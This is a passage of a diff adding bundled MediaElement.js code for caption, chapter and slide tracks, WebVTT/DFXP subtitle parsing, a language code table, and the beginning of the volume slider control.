+					e.preventDefault();
+				});
+			}
+
+			player.captionsButton.addEventListener('keydown', function (e) {
+				e.stopPropagation();
+			});
+		}
+
+		for (var _i7 = 0, _total5 = inEvents.length; _i7 < _total5; _i7++) {
+			player.chaptersButton.addEventListener(inEvents[_i7], function () {
+				if (this.querySelector('.' + t.options.classPrefix + 'chapters-selector-list').children.length) {
+					(0, _dom.removeClass)(this.querySelector('.' + t.options.classPrefix + 'chapters-selector'), t.options.classPrefix + 'offscreen');
+				}
+			});
+		}
+
+		for (var _i8 = 0, _total6 = outEvents.length; _i8 < _total6; _i8++) {
+			player.chaptersButton.addEventListener(outEvents[_i8], function () {
+				(0, _dom.addClass)(this.querySelector('.' + t.options.classPrefix + 'chapters-selector'), t.options.classPrefix + 'offscreen');
+			});
+		}
+
+		player.chaptersButton.addEventListener('keydown', function (e) {
+			e.stopPropagation();
+		});
+
+		if (!player.options.alwaysShowControls) {
+			player.getElement(player.container).addEventListener('controlsshown', function () {
+				(0, _dom.addClass)(player.getElement(player.container).querySelector('.' + t.options.classPrefix + 'captions-position'), t.options.classPrefix + 'captions-position-hover');
+			});
+
+			player.getElement(player.container).addEventListener('controlshidden', function () {
+				if (!media.paused) {
+					(0, _dom.removeClass)(player.getElement(player.container).querySelector('.' + t.options.classPrefix + 'captions-position'), t.options.classPrefix + 'captions-position-hover');
+				}
+			});
+		} else {
+			(0, _dom.addClass)(player.getElement(player.container).querySelector('.' + t.options.classPrefix + 'captions-position'), t.options.classPrefix + 'captions-position-hover');
+		}
+
+		media.addEventListener('timeupdate', function () {
+			player.displayCaptions();
+		});
+
+		if (player.options.slidesSelector !== '') {
+			player.slidesContainer = _document2.default.querySelectorAll(player.options.slidesSelector);
+
+			media.addEventListener('timeupdate', function () {
+				player.displaySlides();
+			});
+		}
+	},
+	cleartracks: function cleartracks(player) {
+		if (player) {
+			if (player.captions) {
+				player.captions.remove();
+			}
+			if (player.chapters) {
+				player.chapters.remove();
+			}
+			if (player.captionsText) {
+				player.captionsText.remove();
+			}
+			if (player.captionsButton) {
+				player.captionsButton.remove();
+			}
+			if (player.chaptersButton) {
+				player.chaptersButton.remove();
+			}
+		}
+	},
+	rebuildtracks: function rebuildtracks() {
+		var t = this;
+		t.findTracks();
+		t.buildtracks(t, t.getElement(t.controls), t.getElement(t.layers), t.media);
+	},
+	findTracks: function findTracks() {
+		var t = this,
+		    tracktags = t.trackFiles === null ? t.node.querySelectorAll('track') : t.trackFiles,
+		    total = tracktags.length;
+
+		t.tracks = [];
+		for (var i = 0; i < total; i++) {
+			var track = tracktags[i],
+			    srclang = track.getAttribute('srclang').toLowerCase() || '',
+			    trackId = t.id + '_track_' + i + '_' + track.getAttribute('kind') + '_' + srclang;
+			t.tracks.push({
+				trackId: trackId,
+				srclang: srclang,
+				src: track.getAttribute('src'),
+				kind: track.getAttribute('kind'),
+				label: track.getAttribute('label') || '',
+				entries: [],
+				isLoaded: false
+			});
+		}
+	},
+	setTrack: function setTrack(trackId, setByKeyboard) {
+
+		var t = this,
+		    radios = t.captionsButton.querySelectorAll('input[type="radio"]'),
+		    captions = t.captionsButton.querySelectorAll('.' + t.options.classPrefix + 'captions-selected'),
+		    track = t.captionsButton.querySelector('input[value="' + trackId + '"]');
+
+		for (var i = 0, total = radios.length; i < total; i++) {
+			radios[i].checked = false;
+		}
+
+		for (var _i9 = 0, _total7 = captions.length; _i9 < _total7; _i9++) {
+			(0, _dom.removeClass)(captions[_i9], t.options.classPrefix + 'captions-selected');
+		}
+
+		track.checked = true;
+		var labels = (0, _dom.siblings)(track, function (el) {
+			return (0, _dom.hasClass)(el, t.options.classPrefix + 'captions-selector-label');
+		});
+		for (var _i10 = 0, _total8 = labels.length; _i10 < _total8; _i10++) {
+			(0, _dom.addClass)(labels[_i10], t.options.classPrefix + 'captions-selected');
+		}
+
+		if (trackId === 'none') {
+			t.selectedTrack = null;
+			(0, _dom.removeClass)(t.captionsButton, t.options.classPrefix + 'captions-enabled');
+		} else {
+			for (var _i11 = 0, _total9 = t.tracks.length; _i11 < _total9; _i11++) {
+				var _track = t.tracks[_i11];
+				if (_track.trackId === trackId) {
+					if (t.selectedTrack === null) {
+						(0, _dom.addClass)(t.captionsButton, t.options.classPrefix + 'captions-enabled');
+					}
+					t.selectedTrack = _track;
+					t.captions.setAttribute('lang', t.selectedTrack.srclang);
+					t.displayCaptions();
+					break;
+				}
+			}
+		}
+
+		var event = (0, _general.createEvent)('captionschange', t.media);
+		event.detail.caption = t.selectedTrack;
+		t.media.dispatchEvent(event);
+
+		if (!setByKeyboard) {
+			setTimeout(function () {
+				t.getElement(t.container).focus();
+			}, 500);
+		}
+	},
+	loadNextTrack: function loadNextTrack() {
+		var t = this;
+
+		t.trackToLoad++;
+		if (t.trackToLoad < t.tracks.length) {
+			t.isLoadingTrack = true;
+			t.loadTrack(t.trackToLoad);
+		} else {
+			t.isLoadingTrack = false;
+			t.checkForTracks();
+		}
+	},
+	loadTrack: function loadTrack(index) {
+		var t = this,
+		    track = t.tracks[index];
+
+		if (track !== undefined && (track.src !== undefined || track.src !== "")) {
+			(0, _dom.ajax)(track.src, 'text', function (d) {
+				track.entries = typeof d === 'string' && /<tt\s+xml/ig.exec(d) ? _mejs2.default.TrackFormatParser.dfxp.parse(d) : _mejs2.default.TrackFormatParser.webvtt.parse(d);
+
+				track.isLoaded = true;
+				t.enableTrackButton(track);
+				t.loadNextTrack();
+
+				if (track.kind === 'slides') {
+					t.setupSlides(track);
+				} else if (track.kind === 'chapters' && !t.hasChapters) {
+						t.drawChapters(track);
+						t.hasChapters = true;
+					}
+			}, function () {
+				t.removeTrackButton(track.trackId);
+				t.loadNextTrack();
+			});
+		}
+	},
+	enableTrackButton: function enableTrackButton(track) {
+		var t = this,
+		    lang = track.srclang,
+		    target = _document2.default.getElementById('' + track.trackId);
+
+		if (!target) {
+			return;
+		}
+
+		var label = track.label;
+
+		if (label === '') {
+			label = _i18n2.default.t(_mejs2.default.language.codes[lang]) || lang;
+		}
+		target.disabled = false;
+		var targetSiblings = (0, _dom.siblings)(target, function (el) {
+			return (0, _dom.hasClass)(el, t.options.classPrefix + 'captions-selector-label');
+		});
+		for (var i = 0, total = targetSiblings.length; i < total; i++) {
+			targetSiblings[i].innerHTML = label;
+		}
+
+		if (t.options.startLanguage === lang) {
+			target.checked = true;
+			var event = (0, _general.createEvent)('click', target);
+			target.dispatchEvent(event);
+		}
+	},
+	removeTrackButton: function removeTrackButton(trackId) {
+		var element = _document2.default.getElementById('' + trackId);
+		if (element) {
+			var button = element.closest('li');
+			if (button) {
+				button.remove();
+			}
+		}
+	},
+	addTrackButton: function addTrackButton(trackId, lang, label) {
+		var t = this;
+		if (label === '') {
+			label = _i18n2.default.t(_mejs2.default.language.codes[lang]) || lang;
+		}
+
+		t.captionsButton.querySelector('ul').innerHTML += '<li class="' + t.options.classPrefix + 'captions-selector-list-item">' + ('<input type="radio" class="' + t.options.classPrefix + 'captions-selector-input" ') + ('name="' + t.id + '_captions" id="' + trackId + '" value="' + trackId + '" disabled>') + ('<label class="' + t.options.classPrefix + 'captions-selector-label"') + ('for="' + trackId + '">' + label + ' (loading)</label>') + '</li>';
+	},
+	checkForTracks: function checkForTracks() {
+		var t = this;
+
+		var hasSubtitles = false;
+
+		if (t.options.hideCaptionsButtonWhenEmpty) {
+			for (var i = 0, total = t.tracks.length; i < total; i++) {
+				var kind = t.tracks[i].kind;
+				if ((kind === 'subtitles' || kind === 'captions') && t.tracks[i].isLoaded) {
+					hasSubtitles = true;
+					break;
+				}
+			}
+
+			t.captionsButton.style.display = hasSubtitles ? '' : 'none';
+			t.setControlsSize();
+		}
+	},
+	displayCaptions: function displayCaptions() {
+		if (this.tracks === undefined) {
+			return;
+		}
+
+		var t = this,
+		    track = t.selectedTrack,
+		    sanitize = function sanitize(html) {
+			var div = _document2.default.createElement('div');
+			div.innerHTML = html;
+
+			var scripts = div.getElementsByTagName('script');
+			var i = scripts.length;
+			while (i--) {
+				scripts[i].remove();
+			}
+
+			var allElements = div.getElementsByTagName('*');
+			for (var _i12 = 0, n = allElements.length; _i12 < n; _i12++) {
+				var attributesObj = allElements[_i12].attributes,
+				    attributes = Array.prototype.slice.call(attributesObj);
+
+				for (var j = 0, total = attributes.length; j < total; j++) {
+					if (attributes[j].name.startsWith('on') || attributes[j].value.startsWith('javascript')) {
+						allElements[_i12].remove();
+					} else if (attributes[j].name === 'style') {
+						allElements[_i12].removeAttribute(attributes[j].name);
+					}
+				}
+			}
+			return div.innerHTML;
+		};
+
+		if (track !== null && track.isLoaded) {
+			var i = t.searchTrackPosition(track.entries, t.media.currentTime);
+			if (i > -1) {
+				t.captionsText.innerHTML = sanitize(track.entries[i].text);
+				t.captionsText.className = t.options.classPrefix + 'captions-text ' + (track.entries[i].identifier || '');
+				t.captions.style.display = '';
+				t.captions.style.height = '0px';
+				return;
+			}
+			t.captions.style.display = 'none';
+		} else {
+			t.captions.style.display = 'none';
+		}
+	},
+	setupSlides: function setupSlides(track) {
+		var t = this;
+		t.slides = track;
+		t.slides.entries.imgs = [t.slides.entries.length];
+		t.showSlide(0);
+	},
+	showSlide: function showSlide(index) {
+		var _this = this;
+
+		var t = this;
+
+		if (t.tracks === undefined || t.slidesContainer === undefined) {
+			return;
+		}
+
+		var url = t.slides.entries[index].text;
+
+		var img = t.slides.entries[index].imgs;
+
+		if (img === undefined || img.fadeIn === undefined) {
+			var image = _document2.default.createElement('img');
+			image.src = url;
+			image.addEventListener('load', function () {
+				var self = _this,
+				    visible = (0, _dom.siblings)(self, function (el) {
+					return visible(el);
+				});
+				self.style.display = 'none';
+				t.slidesContainer.innerHTML += self.innerHTML;
+				(0, _dom.fadeIn)(t.slidesContainer.querySelector(image));
+				for (var i = 0, total = visible.length; i < total; i++) {
+					(0, _dom.fadeOut)(visible[i], 400);
+				}
+			});
+			t.slides.entries[index].imgs = img = image;
+		} else if (!(0, _dom.visible)(img)) {
+			var _visible = (0, _dom.siblings)(self, function (el) {
+				return _visible(el);
+			});
+			(0, _dom.fadeIn)(t.slidesContainer.querySelector(img));
+			for (var i = 0, total = _visible.length; i < total; i++) {
+				(0, _dom.fadeOut)(_visible[i]);
+			}
+		}
+	},
+	displaySlides: function displaySlides() {
+		var t = this;
+
+		if (this.slides === undefined) {
+			return;
+		}
+
+		var slides = t.slides,
+		    i = t.searchTrackPosition(slides.entries, t.media.currentTime);
+
+		if (i > -1) {
+			t.showSlide(i);
+		}
+	},
+	drawChapters: function drawChapters(chapters) {
+		var t = this,
+		    total = chapters.entries.length;
+
+		if (!total) {
+			return;
+		}
+
+		t.chaptersButton.querySelector('ul').innerHTML = '';
+
+		for (var i = 0; i < total; i++) {
+			t.chaptersButton.querySelector('ul').innerHTML += '<li class="' + t.options.classPrefix + 'chapters-selector-list-item" ' + 'role="menuitemcheckbox" aria-live="polite" aria-disabled="false" aria-checked="false">' + ('<input type="radio" class="' + t.options.classPrefix + 'captions-selector-input" ') + ('name="' + t.id + '_chapters" id="' + t.id + '_chapters_' + i + '" value="' + chapters.entries[i].start + '" disabled>') + ('<label class="' + t.options.classPrefix + 'chapters-selector-label"') + ('for="' + t.id + '_chapters_' + i + '">' + chapters.entries[i].text + '</label>') + '</li>';
+		}
+
+		var radios = t.chaptersButton.querySelectorAll('input[type="radio"]'),
+		    labels = t.chaptersButton.querySelectorAll('.' + t.options.classPrefix + 'chapters-selector-label');
+
+		for (var _i13 = 0, _total10 = radios.length; _i13 < _total10; _i13++) {
+			radios[_i13].disabled = false;
+			radios[_i13].checked = false;
+			radios[_i13].addEventListener('click', function (e) {
+				var self = this,
+				    listItems = t.chaptersButton.querySelectorAll('li'),
+				    label = (0, _dom.siblings)(self, function (el) {
+					return (0, _dom.hasClass)(el, t.options.classPrefix + 'chapters-selector-label');
+				})[0];
+
+				self.checked = true;
+				self.parentNode.setAttribute('aria-checked', true);
+				(0, _dom.addClass)(label, t.options.classPrefix + 'chapters-selected');
+				(0, _dom.removeClass)(t.chaptersButton.querySelector('.' + t.options.classPrefix + 'chapters-selected'), t.options.classPrefix + 'chapters-selected');
+
+				for (var _i14 = 0, _total11 = listItems.length; _i14 < _total11; _i14++) {
+					listItems[_i14].setAttribute('aria-checked', false);
+				}
+
+				var keyboard = e.keyCode || e.which;
+				if (typeof keyboard === 'undefined') {
+					setTimeout(function () {
+						t.getElement(t.container).focus();
+					}, 500);
+				}
+
+				t.media.setCurrentTime(parseFloat(self.value));
+				if (t.media.paused) {
+					t.media.play();
+				}
+			});
+		}
+
+		for (var _i15 = 0, _total12 = labels.length; _i15 < _total12; _i15++) {
+			labels[_i15].addEventListener('click', function (e) {
+				var radio = (0, _dom.siblings)(this, function (el) {
+					return el.tagName === 'INPUT';
+				})[0],
+				    event = (0, _general.createEvent)('click', radio);
+				radio.dispatchEvent(event);
+				e.preventDefault();
+			});
+		}
+	},
+	searchTrackPosition: function searchTrackPosition(tracks, currentTime) {
+		var lo = 0,
+		    hi = tracks.length - 1,
+		    mid = void 0,
+		    start = void 0,
+		    stop = void 0;
+
+		while (lo <= hi) {
+			mid = lo + hi >> 1;
+			start = tracks[mid].start;
+			stop = tracks[mid].stop;
+
+			if (currentTime >= start && currentTime < stop) {
+				return mid;
+			} else if (start < currentTime) {
+				lo = mid + 1;
+			} else if (start > currentTime) {
+				hi = mid - 1;
+			}
+		}
+
+		return -1;
+	}
+});
+
+_mejs2.default.language = {
+	codes: {
+		af: 'mejs.afrikaans',
+		sq: 'mejs.albanian',
+		ar: 'mejs.arabic',
+		be: 'mejs.belarusian',
+		bg: 'mejs.bulgarian',
+		ca: 'mejs.catalan',
+		zh: 'mejs.chinese',
+		'zh-cn': 'mejs.chinese-simplified',
+		'zh-tw': 'mejs.chines-traditional',
+		hr: 'mejs.croatian',
+		cs: 'mejs.czech',
+		da: 'mejs.danish',
+		nl: 'mejs.dutch',
+		en: 'mejs.english',
+		et: 'mejs.estonian',
+		fl: 'mejs.filipino',
+		fi: 'mejs.finnish',
+		fr: 'mejs.french',
+		gl: 'mejs.galician',
+		de: 'mejs.german',
+		el: 'mejs.greek',
+		ht: 'mejs.haitian-creole',
+		iw: 'mejs.hebrew',
+		hi: 'mejs.hindi',
+		hu: 'mejs.hungarian',
+		is: 'mejs.icelandic',
+		id: 'mejs.indonesian',
+		ga: 'mejs.irish',
+		it: 'mejs.italian',
+		ja: 'mejs.japanese',
+		ko: 'mejs.korean',
+		lv: 'mejs.latvian',
+		lt: 'mejs.lithuanian',
+		mk: 'mejs.macedonian',
+		ms: 'mejs.malay',
+		mt: 'mejs.maltese',
+		no: 'mejs.norwegian',
+		fa: 'mejs.persian',
+		pl: 'mejs.polish',
+		pt: 'mejs.portuguese',
+		ro: 'mejs.romanian',
+		ru: 'mejs.russian',
+		sr: 'mejs.serbian',
+		sk: 'mejs.slovak',
+		sl: 'mejs.slovenian',
+		es: 'mejs.spanish',
+		sw: 'mejs.swahili',
+		sv: 'mejs.swedish',
+		tl: 'mejs.tagalog',
+		th: 'mejs.thai',
+		tr: 'mejs.turkish',
+		uk: 'mejs.ukrainian',
+		vi: 'mejs.vietnamese',
+		cy: 'mejs.welsh',
+		yi: 'mejs.yiddish'
+	}
+};
+
+_mejs2.default.TrackFormatParser = {
+	webvtt: {
+		pattern: /^((?:[0-9]{1,2}:)?[0-9]{2}:[0-9]{2}([,.][0-9]{1,3})?) --\> ((?:[0-9]{1,2}:)?[0-9]{2}:[0-9]{2}([,.][0-9]{3})?)(.*)$/,
+
+		parse: function parse(trackText) {
+			var lines = trackText.split(/\r?\n/),
+			    entries = [];
+
+			var timecode = void 0,
+			    text = void 0,
+			    identifier = void 0;
+
+			for (var i = 0, total = lines.length; i < total; i++) {
+				timecode = this.pattern.exec(lines[i]);
+
+				if (timecode && i < lines.length) {
+					if (i - 1 >= 0 && lines[i - 1] !== '') {
+						identifier = lines[i - 1];
+					}
+					i++;
+
+					text = lines[i];
+					i++;
+					while (lines[i] !== '' && i < lines.length) {
+						text = text + '\n' + lines[i];
+						i++;
+					}
+					text = text.trim().replace(/(\b(https?|ftp|file):\/\/[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])/ig, "<a href='$1' target='_blank'>$1</a>");
+					entries.push({
+						identifier: identifier,
+						start: (0, _time.convertSMPTEtoSeconds)(timecode[1]) === 0 ? 0.200 : (0, _time.convertSMPTEtoSeconds)(timecode[1]),
+						stop: (0, _time.convertSMPTEtoSeconds)(timecode[3]),
+						text: text,
+						settings: timecode[5]
+					});
+				}
+				identifier = '';
+			}
+			return entries;
+		}
+	},
+
+	dfxp: {
+		parse: function parse(trackText) {
+			trackText = $(trackText).filter('tt');
+			var container = trackText.firstChild,
+			    lines = container.querySelectorAll('p'),
+			    styleNode = trackText.getElementById('' + container.attr('style')),
+			    entries = [];
+
+			var styles = void 0;
+
+			if (styleNode.length) {
+				styleNode.removeAttribute('id');
+				var attributes = styleNode.attributes;
+				if (attributes.length) {
+					styles = {};
+					for (var i = 0, total = attributes.length; i < total; i++) {
+						styles[attributes[i].name.split(":")[1]] = attributes[i].value;
+					}
+				}
+			}
+
+			for (var _i16 = 0, _total13 = lines.length; _i16 < _total13; _i16++) {
+				var style = void 0,
+				    _temp = {
+					start: null,
+					stop: null,
+					style: null,
+					text: null
+				};
+
+				if (lines.eq(_i16).attr('begin')) {
+					_temp.start = (0, _time.convertSMPTEtoSeconds)(lines.eq(_i16).attr('begin'));
+				}
+				if (!_temp.start && lines.eq(_i16 - 1).attr('end')) {
+					_temp.start = (0, _time.convertSMPTEtoSeconds)(lines.eq(_i16 - 1).attr('end'));
+				}
+				if (lines.eq(_i16).attr('end')) {
+					_temp.stop = (0, _time.convertSMPTEtoSeconds)(lines.eq(_i16).attr('end'));
+				}
+				if (!_temp.stop && lines.eq(_i16 + 1).attr('begin')) {
+					_temp.stop = (0, _time.convertSMPTEtoSeconds)(lines.eq(_i16 + 1).attr('begin'));
+				}
+
+				if (styles) {
+					style = '';
+					for (var _style in styles) {
+						style += _style + ':' + styles[_style] + ';';
+					}
+				}
+				if (style) {
+					_temp.style = style;
+				}
+				if (_temp.start === 0) {
+					_temp.start = 0.200;
+				}
+				_temp.text = lines.eq(_i16).innerHTML.trim().replace(/(\b(https?|ftp|file):\/\/[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])/ig, "<a href='$1' target='_blank'>$1</a>");
+				entries.push(_temp);
+			}
+			return entries;
+		}
+	}
+};
+
+},{"16":16,"2":2,"26":26,"27":27,"30":30,"5":5,"7":7}],14:[function(_dereq_,module,exports){
+'use strict';
+
+var _document = _dereq_(2);
+
+var _document2 = _interopRequireDefault(_document);
+
+var _player = _dereq_(16);
+
+var _player2 = _interopRequireDefault(_player);
+
+var _i18n = _dereq_(5);
+
+var _i18n2 = _interopRequireDefault(_i18n);
+
+var _constants = _dereq_(25);
+
+var _general = _dereq_(27);
+
+var _dom = _dereq_(26);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+Object.assign(_player.config, {
+	muteText: null,
+
+	unmuteText: null,
+
+	allyVolumeControlText: null,
+
+	hideVolumeOnTouchDevices: true,
+
+	audioVolume: 'horizontal',
+
+	videoVolume: 'vertical',
+
+	startVolume: 0.8
+});
+
+Object.assign(_player2.default.prototype, {
+	buildvolume: function buildvolume(player, controls, layers, media) {
+		if ((_constants.IS_ANDROID || _constants.IS_IOS) && this.options.hideVolumeOnTouchDevices) {
+			return;
+		}
+
+		var t = this,
+		    mode = t.isVideo ? t.options.videoVolume : t.options.audioVolume,
+		    muteText = (0, _general.isString)(t.options.muteText) ? t.options.muteText : _i18n2.default.t('mejs.mute'),
+		    unmuteText = (0, _general.isString)(t.options.unmuteText) ? t.options.unmuteText : _i18n2.default.t('mejs.unmute'),
+		    volumeControlText = (0, _general.isString)(t.options.allyVolumeControlText) ? t.options.allyVolumeControlText : _i18n2.default.t('mejs.volume-help-text'),
+		    mute = _document2.default.createElement('div');
+
+		mute.className = t.options.classPrefix + 'button ' + t.options.classPrefix + 'volume-button ' + t.options.classPrefix + 'mute';
+		mute.innerHTML = mode === 'horizontal' ? '<button type="button" aria-controls="' + t.id + '" title="' + muteText + '" aria-label="' + muteText + '" tabindex="0"></button>' : '<button type="button" aria-controls="' + t.id + '" title="' + muteText + '" aria-label="' + muteText + '" tabindex="0"></button>' + ('<a href="javascript:void(0);" class="' + t.options.classPrefix + 'volume-slider" ') + ('aria-label="' + _i18n2.default.t('mejs.volume-slider') + '" aria-valuemin="0" aria-valuemax="100" role="slider" ') + 'aria-orientation="vertical">' + ('<span class="' + t.options.classPrefix + 'offscreen">' + volumeControlText + '</span>') + ('<div class="' + t.options.classPrefix + 'volume-total">') + ('<div class="' + t.options.classPrefix + 'volume-current"></div>') + ('<div class="' + t.options.classPrefix + 'volume-handle"></div>') + '</div>' + '</a>';
+
+		t.addControlElement(mute, 'volume');
+
+		t.options.keyActions.push({
+			keys: [38],
+			action: function action(player) {
+				var volumeSlider = player.getElement(player.container).querySelector('.' + _player.config.classPrefix + 'volume-slider');
+				if (volumeSlider || player.getElement(player.container).querySelector('.' + _player.config.classPrefix + 'volume-slider').matches(':focus')) {
+					volumeSlider.style.display = 'block';
+				}
+				if (player.isVideo) {
+					player.showControls();
+					player.startControlsTimer();
+				}
+
+				var newVolume = Math.min(player.volume + 0.1, 1);
+				player.setVolume(newVolume);
+				if (newVolume > 0) {
+					player.setMuted(false);
+				}
+			}
+		}, {
+			keys: [40],
+			action: function action(player) {
+				var volumeSlider = player.getElement(player.container).querySelector('.' + _player.config.classPrefix + 'volume-slider');
+				if (volumeSlider) {
+					volumeSlider.style.display = 'block';
+				}
+
+				if (player.isVideo) {
+					player.showControls();
+					player.startControlsTimer();
+				}
+
+				var newVolume = Math.max(player.volume - 0.1, 0);
+				player.setVolume(newVolume);
+
+				if (newVolume <= 0.1) {
+					player.setMuted(true);
+				}
+			}
+		}, {
+			keys: [77],
+			action: function action(player) {
+				player.getElement(player.container).querySelector('.' + _player.config.classPrefix + 'volume-slider').style.display = 'block';
+				if (player.isVideo) {
+					player.showControls();
+					player.startControlsTimer();
+				}
+				if (player.media.muted) {
+					player.setMuted(false);
+				} else {
+					player.setMuted(true);
+				}
+			}
+		});
+
+		if (mode === 'horizontal') {
+			var anchor = _document2.default.createElement('a');
+			anchor.className = t.options.classPrefix + 'horizontal-volume-slider';
+			anchor.href = 'javascript:void(0);';
+			anchor.setAttribute('aria-label', _i18n2.default.t('mejs.volume-slider'));
+			anchor.setAttribute('aria-valuemin', 0);
+			anchor.setAttribute('aria-valuemax', 100);
+			anchor.setAttribute('role', 'slider');
+			anchor.innerHTML += '<span class="' + t.options.classPrefix + 'offscreen">' + volumeControlText + '</span>' + ('<div class="' + t.options.classPrefix + 'horizontal-volume-total">') + ('<div class="' + t.options.classPrefix + 'horizontal-volume-current"></div>') + ('<div class="' + t.options.classPrefix + 'horizontal-volume-handle"></div>') + '</div>';
+			mute.parentNode.insertBefore(anchor, mute.nextSibling);
+		}
+
+		var mouseIsDown = false,
+		    mouseIsOver = false,
+		    modified = false,
+		    updateVolumeSlider = function updateVolumeSlider() {
+			var volume = Math.floor(media.volume * 100);
+			volumeSlider.setAttribute('aria-valuenow', volume);
+			volumeSlider.setAttribute('aria-valuetext', volume + '%');
+		};
+
+		var volumeSlider = mode === 'vertical' ? t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'volume-slider') : t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'horizontal-volume-slider'),
+		    volumeTotal = mode === 'vertical' ? t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'volume-total') : t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'horizontal-volume-total'),
+		    volumeCurrent = mode === 'vertical' ? t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'volume-current') : t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'horizontal-volume-current'),
+		    volumeHandle = mode === 'vertical' ? t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'volume-handle') : t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'horizontal-volume-handle'),
+		    positionVolumeHandle = function positionVolumeHandle(volume) {
+
+			if (volume === null || isNaN(volume) || volume === undefined) {
+				return;
+			}
+
+			volume = Math.max(0, volume);
+			volume = Math.min(volume, 1);
+
+			if (volume === 0) {
+				(0, _dom.removeClass)(mute, t.options.classPrefix + 'mute');
+				(0, _dom.addClass)(mute, t.options.classPrefix + 'unmute');
+				var button = mute.firstElementChild;
+				button.setAttribute('title', unmuteText);
+				button.setAttribute('aria-label', unmuteText);
+			} else {
+				(0, _dom.removeClass)(mute, t.options.classPrefix + 'unmute');
+				(0, _dom.addClass)(mute, t.options.classPrefix + 'mute');
+				var _button = mute.firstElementChild;
+				_button.setAttribute('title', muteText);
+				_button.setAttribute('aria-label', muteText);
+			}
+
+			var volumePercentage = volume * 100 + '%',
+			    volumeStyles = getComputedStyle(volumeHandle);
+
+			if (mode === 'vertical') {
+				volumeCurrent.style.bottom = 0;
+				volumeCurrent.style.height = volumePercentage;
+				volumeHandle.style.bottom = volumePercentage;
+				volumeHandle.style.marginBottom = -parseFloat(volumeStyles.height) / 2 + 'px';
+			} else {
+				volumeCurrent.style.left = 0;
+				volumeCurrent.style.width = volumePercentage;
+				volumeHandle.style.left = volumePercentage;
+				volumeHandle.style.marginLeft = -parseFloat(volumeStyles.width) / 2 + 'px';
+			}
+		},
+		    handleVolumeMove = function handleVolumeMove(e) {
+			var totalOffset = (0, _dom.offset)(volumeTotal),
+			    volumeStyles = getComputedStyle(volumeTotal);
+
+			modified = true;
+
+			var volume = null;
+
+			if (mode === 'vertical') {
+				var railHeight = parseFloat(volumeStyles.height),
+				    newY = e.pageY - totalOffset.top;
+
+				volume = (railHeight - newY) / railHeight;
+
+				if (totalOffset.top === 0 || totalOffset.left === 0) {
+					return;
+				}
+			} else {
+				var railWidth = parseFloat(volumeStyles.width),
+				    newX = e.pageX - totalOffset.left;
+
+				volume = newX / railWidth;
+			}
+
+			volume = Math.max(0, volume);
+			volume = Math.min(volume, 1);
+
+			positionVolumeHandle(volume);
+
+			t.setMuted(volume === 0);
+			t.setVolume(volume);
+
+			e.preventDefault();
+			e.stopPropagation();
+		},
+		    toggleMute = function toggleMute() {
+			if (t.muted) {
+				positionVolumeHandle(0);
+				(0, _dom.removeClass)(mute, t.options.classPrefix + 'mute');
+				(0, _dom.addClass)(mute, t.options.classPrefix + 'unmute');
+			} else {
+				positionVolumeHandle(media.volume);
+				(0, _dom.removeClass)(mute, t.options.classPrefix + 'unmute');
+				(0, _dom.addClass)(mute, t.options.classPrefix + 'mute');
+			}
+		};
+
+		player.getElement(player.container).addEventListener('keydown', function (e) {
+			var hasFocus = !!e.target.closest('.' + t.options.classPrefix + 'container');
+			if (!hasFocus && mode === 'vertical') {
+				volumeSlider.style.display = 'none';
+			}
+		});
+
+		mute.addEventListener('mouseenter', function (e) {
+			if (e.target === mute) {
+				volumeSlider.style.display = 'block';
+				mouseIsOver = true;
+				e.preventDefault();
+				e.stopPropagation();
+			}
+		});
+		mute.addEventListener('focusin', function () {
+			volumeSlider.style.display = 'block';
+			mouseIsOver = true;
+		});
+
+		mute.addEventListener('focusout', function (e) {
+			if ((!e.relatedTarget || e.relatedTarget && !e.relatedTarget.matches('.' + t.options.classPrefix + 'volume-slider')) && mode === 'vertical') {
+				volumeSlider.style.display = 'none';
+			}
+		});
+		mute.addEventListener('mouseleave', function () {
+			mouseIsOver = false;
+			if (!mouseIsDown && mode === 'vertical') {
+				volumeSlider.style.display = 'none';
+			}
+		});
+		mute.addEventListener('focusout', function () {
+			mouseIsOver = false;
+		});
+		mute.addEventListener('keydown', function (e) {
+			if (t.options.keyActions.length) {
+				var keyCode = e.which || e.keyCode || 0,
+				    volume = media.volume;
+
+				switch (keyCode) {
+					case 38:
+						volume = Math.min(volume + 0.1, 1);
+						break;
+					case 40:
+						volume = Math.max(0, volume - 0.1);
+						break;
+					default:
+						return true;
+				}
+
+				mouseIsDown = false;
+				positionVolumeHandle(volume);
+				media.setVolume(volume);
+
+				e.preventDefault();
+				e.stopPropagation();
+			}
+		});
+		mute.querySelector('button').addEventListener('click', function () {
+			media.setMuted(!media.muted);
+			var event = (0, _general.createEvent)('volumechange', media);
+			media.dispatchEvent(event);
+		});
+
+		volumeSlider.addEventListener('dragstart', function () {
+			return false;
+		});
+
+		volumeSlider.addEventListener('mouseover', function () {
+			mouseIsOver = true;
+		});
+		volumeSlider.addEventListener('focusin', function () {
+			volumeSlider.style.display = 'block';
+			mouseIsOver = true;
+		});
+		volumeSlider.addEventListener('focusout', function () {
+			mouseIsOver = false;
+			if (!mouseIsDown && mode === 'vertical') {
+				volumeSlider.style.display = 'none';
+			}
+		});
+		volumeSlider.addEventListener('mousedown', function (e) {
+			handleVolumeMove(e);
+			t.globalBind('mousemove.vol', function (event) {
+				var target = event.target;
+				if (mouseIsDown && (target === volumeSlider || target.closest(mode === 'vertical' ? '.' + t.options.classPrefix + 'volume-slider' : '.' + t.options.classPrefix + 'horizontal-volume-slider'))) {
+					handleVolumeMove(event);
+				}
+			});
+			t.globalBind('mouseup.vol', function () {
+				mouseIsDown = false;
+				if (!mouseIsOver && mode === 'vertical') {
+					volumeSlider.style.display = 'none';
+				}
+			});
+			mouseIsDown = true;
+			e.preventDefault();
+			e.stopPropagation();
+		});
+
+		media.addEventListener('volumechange', function (e) {
+			if (!mouseIsDown) {
+				toggleMute();
+			}
+			updateVolumeSlider(e);
+		});
+
+		var rendered = false;
+		media.addEventListener('rendererready', function () {
+			if (!modified) {
+				setTimeout(function () {
